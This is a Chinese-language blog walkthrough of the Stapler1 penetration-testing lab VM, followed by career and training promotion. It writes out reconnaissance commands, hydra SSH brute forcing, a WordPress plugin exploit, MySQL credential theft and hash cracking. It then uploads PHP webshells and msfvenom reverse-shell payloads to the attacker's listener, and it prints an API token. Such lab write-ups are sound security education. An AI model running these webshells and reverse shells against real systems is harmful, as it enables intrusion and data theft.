【网络安全】红队渗透项目之Stapler1(上)

声明:本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。

一、信息收集

信息收集非常重要,有了信息才能知道下一步该如何进行,接下来将用nmap来演示信息收集:

1、nmap扫描存活IP

由于本项目环境是nat模式需要项目IP地址,扫描挖掘本地的IP地址信息:

img

发现本kali ip为40段!用40段进行全网段扫描:

复制代码nmap -sP 192.168.40.0/24

img

发现项目IP为152!

2、nmap全端口服务枚举

进行namp全端口服务枚举:

css

复制代码nmap -sS -sV -A -T5 -p- 192.168.40.152

img

img

得到开放的端口信息:

bash复制代码21/tcp    open   ftp         vsftpd 2.0.8 or later  
ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp    open   ssh         OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
53/tcp    open   domain      dnsmasq 2.75
80/tcp    open   http        PHP cli server 5.5 or later123/tcp   closed ntp
139/tcp   open   netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)
666/tcp   open   doom? message2.jpgUT 
3306/tcp  open   mysql       MySQL 5.7.12-0ubuntu1
12380/tcp open   http        Apache httpd 2.4.18 ((Ubuntu))

以及smb2(windows445端口,共享用)利用!
可以看到有很多容易受到攻击的端口都开着,FTP、NetBIOS、MySQL和运行Web服务器(Apache HTTPD)的端口12380等等!

二、各类服务端口信息枚举

【一一帮助安全学习,所有资源获取处一一】

①网络安全学习路线

②20份渗透测试电子书

③安全攻防357页笔记

④50份安全攻防面试指南

⑤安全红队渗透工具包

⑥网络安全必备书籍

⑦100个漏洞实战案例

⑧安全大厂内部视频资源

⑨历年CTF夺旗赛题解析

1、FTP信息枚举
根据nmap全端口服务枚举的提示,ftp允许匿名登录:

arduino复制代码21/tcp    open   ftp         vsftpd 2.0.8 or later  
ftp-anon: Anonymous FTP login allowed (FTP code 230)

1)ftp匿名登录枚举

img

sql复制代码ftp 192.168.40.152
get note     ---下载note文件

未授权登录成功,查到note文件,并下载查看!

2)查看note文件

通过ftp下载该文件进行查看:

img

sql

复制代码Elly, make sure you update the payload information. Leave it in your FTP account once your are done, John.

里面是txt文本信息:说将账号信息留存在FTP中,那么还有别的账号密码!
获得两个用户名:Elly、John,其他无可用信息!

2、Samba信息收集

这是139的Samba服务,可以用smbclient来查看。

smbclient是一个开放的netbios-ssn,用smbclient来查看(属于samba套件,它提供一种命令行使用交互式方式访问samba服务器的共享资源)!用Enum4linux枚举,这是一个用于枚举来自Windows和Samba系统的信息的工具。

1)Enum4linux枚举

css复制代码enum4linux -a 192.168.40.152
-a   做所有参数选项枚举一遍

img

img

获取到2个可用信息:
1. ok活跃信息:

yaml复制代码//192.168.40.152/kathy	Mapping: OK, Listing: OK
//192.168.40.152/tmp	Mapping: OK, Listing: OK

kathy和tmp两个信息非常活跃!可以用smbclient连接!

2. 发现了20个用户信息

img

kathy和tmp两个信息非常活跃!可以用smbclient连接!

2)保存用户信息,并筛查

bash复制代码gedit user.txt
cat user.txt | cut -d '' -f2 | cut -d ' ' -f1 > user.txt

img

将通过筛选剔除后,获得正常的用户名:user.txt!

3、暴力破解ssh信息枚举

1)hydra暴力破解

nmap扫描ssh端口为开放状态,利用hydra爆破

css

复制代码hydra -L user.txt -P user.txt 192.168.40.152 ssh

img

makefile

复制代码login: SHayslett   password: SHayslett

获得ssh登录账号密码!

2)ssh登录

ssh尝试登录:

css

复制代码ssh SHayslett@192.168.40.152 

img

登录成功!到了这一步有非常多的提权方法,咱们继续分析该项目环境!

4、nc信息枚举666端口

1)访问http端口

通过浏览器访问该端口:

arduino

复制代码http://192.168.40.152:666/

img

发现这是一个文件!

2)nc下载文件

通过nc访问该端口进行探测:

bash复制代码nc 192.168.40.152 666 >test   #将文件下载为test     
file test                     #查看test版本
unzip -h                      #看下zip版本信息
unzip test                    #用zip解压test文件

img

通过nc下载压缩文件,并解压获得message2的jpg图片!

3)Strings查看图片信息

strings查看该图片隐藏信息:

复制代码strings message2.jpg

img

给了两个cookie值,先留着该信息!

5、枚举12380端口信息收集

1)访问端口

用浏览器访问该页面:

arduino

复制代码http://192.168.40.152:12380/

img

发现该页面没有可利用的信息,进行漏扫看看!

2)Nikto扫描URL

nikto 是一款开放源代码的、功能强大的 WEB 扫描评估软件,能对 web 服务器多种安全项目进行测试的扫描软件,去寻找已知有名的漏洞,能在230多种服务器上扫描出2600多种有潜在危险的文件、CGI 及其他问题,它可以扫描指定主机的 WEB 类型、主机名、特定目录、COOKIE、特定 CGI 漏洞、返回主机允许的 http 模式等等。

arduino

复制代码nikto -h http://192.168.40.152:12380/

img

发现三个目录/admin112233/、/blogblog/、/phpmyadmin/,发现提示SSL Info,说明是ssl访问的,可以https访问,尝试访问http访问会重定向回来,需要HTTPS访问URL!

3)ssl访问

先枚举访问/admin112233目录:

arduino

复制代码https://192.168.40.152:12380/admin112233/

img

回显:This could of been a BeEF-XSS hook 😉 ,存在XSS!

枚举访问/blogblog目录:

arduino

复制代码https://192.168.40.152:12380/blogblog/

img

发现该网站的是用WordPress搭建的,版本是4.2.1

枚举访问/phpmyadmin目录:

arduino

复制代码https://192.168.40.152:12380/phpmyadmin

img

得到phpmyadmin的后台登录界面,需要账户密码!

6、Wpscan信息收集

从blogblog目录可以发现该站存在wordpress站!可利用wpscan进行枚举扫描!

1)wpscan扫描blogblog网页

lua复制代码wpscan --url https://192.168.40.152:12380/blogblog/ --disable-tls-checks

--disable-tls-checks  ---因为会受到SSL对等证书/SSH错误临时用法!

img

img

提示我们登录[wpscan.com/register获取w…]API令牌,才能输出漏洞数据

2)获取wpscan API令牌

需要访问官网,获取密匙:

arduino

复制代码https://wpscan.com/register

img

在官网登录后主页面存在API Token复制即可!

3)wpscan扫描

通过获取的token直接开始扫描:

arduino

复制代码wpscan --url https://192.168.40.152:12380/blogblog/  -e u --api-token kJ4bhZCgveCcoGJPER7AOsHJTeFDf90Wfj9zu0V6asc --disable-tls-checks

img

img

扫描发现该目录:blogblog/wp-content/,访问下收集信息!还存在很多漏洞CVE信息,如感兴趣可深入研究!

4)访问发现有3个子目录

在blogblog/wp-content/plugins/发现:

img

发现存在advanced_video_embed.php,提示存在wordpress advanced video插件模块信息!

三、wordpress advanced漏洞利用

1、39646 exp利用

谷歌搜索:

css

复制代码wordpress advanced video exploit

img

可以利用39646,在kali上查找并利用!

2、查找并利用py脚本

kali渗透系统自带很多exp脚本,直接查找即可!

bash

复制代码cp /usr/share/exploitdb/exploits/php/webapps/39646.py .

img

将exp复制到利用目录!

3、修改exp代码

添加修改以下内容:

ini复制代码import ssl
ssl._create_default_https_context = ssl._create_unverified_context
url = "https://192.168.40.152:12380/blogblog/"

img

4、访问URL文件上传页面:

通过修改exp代码,进行对项目环境渗透行为后,在upload目录会出现新的文件内容:

ruby

复制代码https://192.168.40.152:12380/blogblog/wp-content/uploads

img

目录下会出现图片:193104749.jpeg,下载:

perl复制代码wget --no-check-certificate https://192.168.40.152:12380/blogblog/wp-content/uploads/193104749.jpeg
--no-check-certificate  ---这个参数可促使wget下载ssl文件

img

下载后进行分析图片信息!

5、图片信息枚举

file查看图片类型:

img

arduino

复制代码193104749.jpeg: PHP script, ASCII text

这是一个php代码的txt文本!直接查看!

img

sql复制代码define('DB_USER', 'root');
define('DB_PASSWORD', 'plbkac');

获得mysql用户名密码:

bash

复制代码root/plbkac

接下来使用账号密码直接枚举数据库!

四、Mysql信息枚举+暴力破解

1、库表信息枚举

利用图片枚举出的mysql数据库账号密码进行枚举:

perl复制代码mysql -uroot -pplbkac -h 192.168.40.152   #利用获得的账户密码远程登录
show databases;             #查看数据库信息
use wordpress               #进入wordpress
show tables;                #查看表信息

img

通过mysql命令枚举到数据库wordpress库中存在wp_users表信息!

2、表字段信息枚举

读取wp_user用户表数据:

sql复制代码desc wp_users;
select user_login,user_pass from wp_users;
或者select * from wp_users;

img

通过select枚举出该表所有信息内容存在用户名和MD5加密的密码信息!将数据保存至本地:

复制代码gedit 1.txt

img

3、AWK分解保存

使用awk进行文本出来提取user_pass这个字段所有值,在保存至pass.txt
awk拆分密码信息:密码在第3部分

python

复制代码awk -F'|' '{print $3}' 1.txt > pass.txt

img

4、john爆破密码本

继续使用John的rockyou文本对mysql密码信息进行爆破:

ini

复制代码john --wordlist=/usr/share/wordlists/rockyou.txt pass.txt

img

shell

复制代码$P$B7889EMq/erHIuZapMB8GEizebcIy9.:incorrect

发现对应john用户,密码为incorrect

五、Getshell

通过暴力破解数据库中的密码值,发现了账号密码信息可直接登录wordpress后台,登录后有很多方法可以getshell,接下来就简单介绍利用!

1、登录后台

访问后台页面,用账户:john,密码:incorrect

arduino

复制代码https://192.168.40.152:12380/blogblog/wp-login.php

img

测试可成功登录!

2、文件上传

Plugins-》 add New -》upload Plugin :存在上传文件

img

3、php-webshell利用

复制phpshell到本文件夹:

bash

复制代码cp /usr/share/webshells/php/php-reverse-shell.php .

img

配置PHP文件,将IP更改为本地kail IP:

img

修改完成即可上传文件!上传PHP文件:

img

查看是否上传成功:

img

上传成功!本地开启nc服务,并访问后门进行反弹shell:

perl复制代码nc -vlp 1234
https://192.168.40.152:12380/blogblog/wp-content/uploads/php-reverse-shell.php

img

成功获得反弹shell,并控制项目环境服务器!

4、weevely利用

1)利用weevely生成PHP木马文件

Weevely是一个隐形的PHP网页的外壳,模拟的远程连接。

软件特点:

生成和管理很难检测到的PHP木马,这是一个Web应用程序后开发的重要工具,可用于像一个隐藏的后门,作为一个有用的远程控制台更换管理网络帐户,即使托管在免费托管服务。只是生成并上传“服务器”目标Web服务器上的PHP代码,Weevely客户端在本地运行shell命令传输。

lua复制代码weevely generate pass11 test.php   ---生成test.php文件密码为passtest
generate  ---生成新代理

img

weevely的优势在于免杀性,可看到php木马信息是混淆过的特征!

2)上传文件

img

验证上传是否成功:

img

成功上传!

3)运行该PHP文件,获得shell

ruby

复制代码weevely https://192.168.40.152:12380/blogblog/wp-content/uploads/test.php passtest

img

成功获得shell,该shell很稳定!

5、webacoo利用

WeBaCoo(Web Backdoor Cookie)是一款隐蔽的脚本类Web后门工具。 借助HTTP协议,它可在客户端和Web服务器之间实现执行代码的网页终端。 WeBaCoo的精妙之处在于,Web服务器和客户端之间的通信载体是Cookie。

1)webacoo生成PHP后门文件

diff复制代码webacoo -g -o webacoo.php
-g 生成后门代码(需要-o)
-o OUTPUT 生成的后门输出文件名

img

可看到webacoo也是通过特征混淆了php木马,但是没用weevely免杀性能好!

2)后台页面上传该PHP后门

img

访问是否上传成功:

img

成功上传!

3)远程连接执行PHP文件

diff复制代码webacoo -t -u https://192.168.40.152:12380/blogblog/wp-content/uploads/webacoo.php

-t 建立远程“终端”连接(需要-u)
-u URL 后门 URL 

img

成功获得shell,该shell很稳定!

6、Msfconsole上线webshell

Metasploit项目是一个旨在提供安全漏洞信息计算机安全项目,可以协助安全工程师进行渗透测试(penetration testing)及入侵检测系统签名开发。

1)kali本地生成webshell

css复制代码msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.40.149 LPORT=4455 -f raw > msf.php

--LHOST 为kali本地IP
--LPORT 为连接端口

img

生成成功msf.php木马文件!

2)后台上传PHP文件

img

上传成功:

img

成功上传后需要msf开启监听!

3)msf开启监听

开启msfconsole进入MSF框架:

bash复制代码msfconsole
use exploit/multi/handler
set payload php/meterpreter_reverse_tcp
set LHOST 192.168.40.149
set LPORT 4455
run

img

开启监听后,访问msf.php文件触发,可看到反弹shell成功!

题外话

网络安全行业特点

1、就业薪资非常高,涨薪快 2022年猎聘网发布网络安全行业就业薪资行业最高人均33.77万!

img

2、人才缺口大,就业机会多

2019年9月18日《中华人民共和国中央人民政府》官方网站发表:我国网络空间安全人才 需求140万人,而全国各大学校每年培养的人员不到1.5W人。猎聘网《2021年上半年网络安全报告》预测2027年网安人才需求300W,现在从事网络安全行业的从业人员只有10W人。
img

行业发展空间大,岗位非常多

网络安全行业产业以来,随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…

职业增值潜力大

网络安全专业具有很强的技术特性,尤其是掌握工作中的核心网络架构、安全技术,在职业发展上具有不可替代的竞争优势。

随着个人能力的不断提升,所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟,升值空间一路看涨,这也是为什么受大家欢迎的主要原因。

从某种程度来讲,在网络安全领域,跟医生职业一样,越老越吃香,因为技术愈加成熟,自然工作会受到重视,升职加薪则是水到渠成之事。

关于网络安全学习指南

学习网络安全技术的方法无非三种:

第一种是报网络安全专业,现在叫网络空间安全专业,主要专业课程:程序设计、计算机组成原理原理、数据结构、操作系统原理、数据库系统、 计算机网络、人工智能、自然语言处理、社会计算、网络安全法律法规、网络安全、内容安全、数字取证、机器学习,多媒体技术,信息检索、舆情分析等。

第二种是自学,就是在网上找资源、找教程,或者是想办法认识一-些大佬,抱紧大腿,不过这种方法很耗时间,而且学习没有规划,可能很长一段时间感觉自己没有进步,容易劝退。

第三种就是去找培训。

image.png

接下来,我会教你零基础入门快速入门上手网络安全。

网络安全入门到底是先学编程还是先学计算机基础?这是一个争议比较大的问题,有的人会建议先学编程,而有的人会建议先学计算机基础,其实这都是要学的。而且这些对学习网络安全来说非常重要。但是对于完全零基础的人来说又或者急于转行的人来说,学习编程或者计算机基础对他们来说都有一定的难度,并且花费时间太长。

第一阶段:基础准备 4周~6周

这个阶段是所有准备进入安全行业必学的部分,俗话说:基础不劳,地动山摇
image.png

第二阶段:web渗透

学习基础 时间:1周 ~ 2周:

① 了解基本概念:(SQL注入、XSS、上传、CSRF、一句话木马、等)为之后的WEB渗透测试打下基础。
② 查看一些论坛的一些Web渗透,学一学案例的思路,每一个站点都不一样,所以思路是主要的。
③ 学会提问的艺术,如果遇到不懂得要善于提问。
image.png

配置渗透环境 时间:3周 ~ 4周:

① 了解渗透测试常用的工具,例如(AWVS、SQLMAP、NMAP、BURP、中国菜刀等)。
② 下载这些工具无后门版本并且安装到计算机上。
③ 了解这些工具的使用场景,懂得基本的使用,推荐在Google上查找。

渗透实战操作 时间:约6周:

① 在网上搜索渗透实战案例,深入了解SQL注入、文件上传、解析漏洞等在实战中的使用。
② 自己搭建漏洞环境测试,推荐DWVA,SQLi-labs,Upload-labs,bWAPP。
③ 懂得渗透测试的阶段,每一个阶段需要做那些动作:例如PTES渗透测试执行标准。
④ 深入研究手工SQL注入,寻找绕过waf的方法,制作自己的脚本。
⑤ 研究文件上传的原理,如何进行截断、双重后缀欺骗(IIS、PHP)、解析漏洞利用(IIS、Nignix、Apache)等,参照:上传攻击框架。
⑥ 了解XSS形成原理和种类,在DWVA中进行实践,使用一个含有XSS漏洞的cms,安装安全狗等进行测试。
⑦ 了解一句话木马,并尝试编写过狗一句话。
⑧ 研究在Windows和Linux下的提升权限,Google关键词:提权
image.png
以上就是入门阶段

第三阶段:进阶

已经入门并且找到工作之后又该怎么进阶?详情看下图
image.png

给新手小白的入门建议:
新手入门学习最好还是从视频入手进行学习,视频的浅显易懂相比起晦涩的文字而言更容易吸收,这里我给大家准备了一套网络安全从入门到精通的视频学习资料包免费领取哦!

如果你对网络安全入门感兴趣,那么你需要的话可以在下方扫码领取!!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值